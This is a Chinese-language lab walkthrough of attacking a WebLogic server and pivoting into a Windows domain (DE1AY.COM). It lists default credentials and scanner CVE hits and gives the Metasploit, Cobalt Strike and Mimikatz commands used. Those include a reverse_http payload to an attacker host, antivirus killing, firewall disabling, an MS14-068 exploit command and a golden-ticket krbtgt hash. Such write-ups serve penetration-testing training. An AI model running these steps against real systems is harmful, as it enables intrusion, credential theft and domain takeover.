一、环境搭建
1.环境搭建测试
1.1 网络所示
开启Weblogic服务
2.信息收集
2.1 信息收集
## 端口扫描
root@kali:~# nmap -A -sV 192.168.111.80
二、漏洞探测与提权
1、漏洞利用
1.1 弱口令
Weblogic登录界面:http://192.168.111.80:7001/console/login/LoginForm.jsp
常用弱口令:
system/password
system/security
weblogic/weblogic
admin/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
1.2 Weblogic漏洞扫描
利用Weblogic漏洞扫描脚本,如下(仅保留成功结果),观察WEB主机时发现某60一直报拦截。
脚本地址:https://github.com/0xn0ne/weblogicScanner
root@kali:~/weblogicScanner-master/weblogicScanner-master# python3 ws.py -t 192.168.111.80
[16:53:02][INFO] [+][Weblogic Console][192.168.111.80:7001] Found module!
[16:53:02][INFO] [+][CVE-2014-4210][192.168.111.80:7001] Found module!
[16:53:16][INFO] [+][CVE-2017-3506][192.168.111.80:7001] Exists vulnerability!
[16:53:16][INFO] [+][CVE-2017-10271][192.168.111.80:7001] Exists vulnerability!
[16:53:28][INFO] [+][CVE-2018-3191][192.168.111.80:7001] Exists vulnerability!
[16:53:28][INFO] [+][CVE-2018-3245][192.168.111.80:7001] Exists vulnerability!
[16:53:38][INFO] [+][CVE-2019-2618][192.168.111.80:7001] Found module!
[16:53:43][INFO] [+][CVE-2019-2725][192.168.111.80:7001] Exists vulnerability!
[16:53:51][INFO] [+][CVE-2019-2729][192.168.111.80:7001] Exists vulnerability!
[16:53:53][INFO] [+][CVE-2019-2888][192.168.111.80:7001] Found module!
[16:53:56][INFO] [+][CVE-2020-2551][192.168.111.80:7001] Found module!
[16:54:09][INFO] [+][CVE-2020-2883][192.168.111.80:7001] Exists vulnerability!
[16:54:14][INFO] [+][CVE-2020-14882][192.168.111.80:7001] Exists vulnerability!
1.2.1 CVE-2019-2725
尝试利用Kali中模块multi/misc/weblogic_deserialize_asyncresponseservice
。
2、提权
## 隐藏进程pid
meterpreter > getpid
meterpreter > run post/windows/manage/migrate
管理员权限先用着继续收集信息,派生shell到CS在尝试提权。
3、继续收集信息
## 查看补丁信息。
meterpreter > run post/windows/gather/enum_patches
## 查看安装程序,发现某60。
meterpreter > run post/windows/gather/enum_applications
## 查看进程
meterpreter > ps
## 杀死防护软件
meterpreter > run post/windows/manage/killav
4、派生Cobalt Strike
msf6 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set DisablePayloadHandler true
msf6 exploit(windows/local/payload_inject) > set lhost 192.168.111.128
msf6 exploit(windows/local/payload_inject) > set lport 8081
msf6 exploit(windows/local/payload_inject) > set session 1
msf6 exploit(windows/local/payload_inject) > run
4.1 获取主机凭证
Run Mimikatz
获取密码、hash等,这里获取到用户mssql的密码。
4.2 提权
三、内网渗透
1、域内信息收集
## 查看域控
net group "domain controllers" /domain
## 查看域管理员
net group "domain admins" /domain
##查询域内用户
net user /domain
## 域控:10.10.10.10(DE1AY.COM)
## 成员主机:10.10.10.201
## 关闭防火墙
netsh advfirewall set allprofiles state off
## 域内主机端口信息
2、横向移动
2.1 psexec
提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动,扫描端口发现开启445端口,尝试SMB Beacon管道通讯。
新建一个Beacon SMB监听器
psexec横向移动
DC(10.10.10.10)和PC(10.10.10.201)上线
3、域漏洞利用
3.1 MS14-068
如果前面获取是的普通用户mssql
的密码,我们尝试可以登陆域控,但权限明显不够,分析补丁信息(对应补丁为KB3011780
)并未发现MS14-068
的补丁,便可以利用该漏洞。
beacon> shell dir \\10.10.10.10\c$
## 注入票据时需要清空当前机器中所有凭证,如果有域成员凭证会影响
beacon> mimikatz kerberos::list
beacon> mimikatz kerberos::purge
beacon> mimikatz kerberos::list
beacon> shell C:\bea\MS14-068.exe -u mssql@DE1AY.COM -p 1qaz@WSX -s S-1-5-21-2756371121-2868759905-3853650604-2103 -d 10.10.10.10
beacon> mimikatz kerberos::ptc C:\Oracle\Middleware\user_projects\domains\base_domain\TGT_mssql@de1ay.com.ccache
测试访问,成功。
4、权限维持
4.1 黄金票据
## 获得krbtgt账户的hash
82dfc71b72a11ef37d663047bc2088fb
## 获得普通用户mssql的SID
S-1-5-21-2756371121-2868759905-3853650604-2103
选择生成黄金票据
成功
四、拓展
##1、Bypass UAC
##2、Windows系统NTLM获取(理论知识:Windows认证)
##3、Access Token利用(MSSQL利用)
##4、WMI利用
##5、网页代理,二层代理,特殊协议代理(DNS,ICMP)
##6、域内信息收集
##7、域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
##8、域凭证收集
##9、后门技术(黄金票据/白银票据/Sid History/MOF)
##跟着思路学习复现,才会有收获。